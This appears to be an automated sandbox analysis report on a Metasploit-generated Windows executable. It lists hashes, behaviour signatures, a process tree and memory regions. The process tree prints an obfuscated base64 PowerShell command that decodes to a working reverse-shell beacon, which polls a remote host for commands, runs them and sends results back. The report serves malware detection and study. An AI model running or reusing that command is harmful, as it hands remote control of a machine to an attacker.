Analysis

  • max time kernel
    142s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-08-2023 02:38

General

  • Target

    27419e4c4e9aeca9f52552fbf0d1ff35.exe

  • Size

    72KB

  • MD5

    27419e4c4e9aeca9f52552fbf0d1ff35

  • SHA1

    861ee9ca5c4467b2260bc9d8ea701103525a2648

  • SHA256

    1bf47f3c5b9f09daad34ae8de2baed440b762fd3c345e5bdfd41214f14cfe4d0

  • SHA512

    aabdc32c607e6b23ba8e9098b7a2eb1c69efda9d6526b0008264e136b9ea2b20d76cbecf34d7e20d98eafbbd911befc14adc6873c29efcbe190075b6410ac2f5

  • SSDEEP

    1536:Ihxnxq+yw6rQBM8mNLWJ5wCcv0TBceMb+KR0Nc8QsJq39:cxlyw6rQLmQJ5vDBcee0Nc8QsC9

Malware Config

Extracted

Family

metasploit

Version

windows/exec

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Blocklisted process makes network request 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\27419e4c4e9aeca9f52552fbf0d1ff35.exe
    "C:\Users\Admin\AppData\Local\Temp\27419e4c4e9aeca9f52552fbf0d1ff35.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2488
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABzAD0AJwAxADIAMwAuADEAMgAzAC4AMQAyADMALgAxADIAMwA6ADgAMAA4ADAAJwA7ACQAaQA9ACcAYwA0AGIAOQBjAGEAMAAzAC0AMQA0ADcANABlADUAOQAxAC0ANQBjAGEAYQA0AGUANABjACcAOwAkAHAAPQAnAGgAdAB0AHAAOgAvAC8AJwA7ACQAdgA9AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAFUAcgBpACAAJABwACQAcwAvAGMANABiADkAYwBhADAAMwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAiAFgALQA2ADAAYgA2AC0AZgBkADUAZQAiAD0AJABpAH0AOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAJABjAD0AKABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBVAHIAaQAgACQAcAAkAHMALwAxADQANwA0AGUANQA5ADEAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIgBYAC0ANgAwAGIANgAtAGYAZAA1AGUAIgA9ACQAaQB9ACkALgBDAG8AbgB0AGUAbgB0ADsAaQBmACAAKAAkAGMAIAAtAG4AZQAgACcATgBvAG4AZQAnACkAIAB7ACQAcgA9AGkAZQB4ACAAJABjACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwACAALQBFAHIAcgBvAHIAVgBhAHIAaQBhAGIAbABlACAAZQA7ACQAcgA9AE8AdQB0AC0AUwB0AHIAaQBuAGcAIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAcgA7ACQAdAA9AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHAAJABzAC8ANQBjAGEAYQA0AGUANABjACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIgBYAC0ANgAwAGIANgAtAGYAZAA1AGUAIgA9ACQAaQB9ACAALQBCAG8AZAB5ACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABlACsAJAByACkAIAAtAGoAbwBpAG4AIAAnACAAJwApAH0AIABzAGwAZQBlAHAAIAAwAC4AOAB9AA==
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3060

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_duozwewf.1g2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2488-0-0x0000000000570000-0x0000000000571000-memory.dmp

    Filesize

    4KB

  • memory/3060-14-0x0000000006100000-0x0000000006166000-memory.dmp

    Filesize

    408KB

  • memory/3060-19-0x0000000006750000-0x000000000676E000-memory.dmp

    Filesize

    120KB

  • memory/3060-6-0x00000000059B0000-0x0000000005FD8000-memory.dmp

    Filesize

    6.2MB

  • memory/3060-7-0x00000000058A0000-0x00000000058C2000-memory.dmp

    Filesize

    136KB

  • memory/3060-5-0x0000000003320000-0x0000000003330000-memory.dmp

    Filesize

    64KB

  • memory/3060-8-0x0000000006090000-0x00000000060F6000-memory.dmp

    Filesize

    408KB

  • memory/3060-3-0x0000000074950000-0x0000000075100000-memory.dmp

    Filesize

    7.7MB

  • memory/3060-4-0x0000000003290000-0x00000000032C6000-memory.dmp

    Filesize

    216KB

  • memory/3060-20-0x0000000003320000-0x0000000003330000-memory.dmp

    Filesize

    64KB

  • memory/3060-21-0x0000000008090000-0x000000000870A000-memory.dmp

    Filesize

    6.5MB

  • memory/3060-22-0x0000000006C90000-0x0000000006CAA000-memory.dmp

    Filesize

    104KB

  • memory/3060-23-0x0000000074950000-0x0000000075100000-memory.dmp

    Filesize

    7.7MB

  • memory/3060-24-0x0000000003320000-0x0000000003330000-memory.dmp

    Filesize

    64KB

  • memory/3060-25-0x0000000003320000-0x0000000003330000-memory.dmp

    Filesize

    64KB

  • memory/3060-26-0x0000000003320000-0x0000000003330000-memory.dmp

    Filesize

    64KB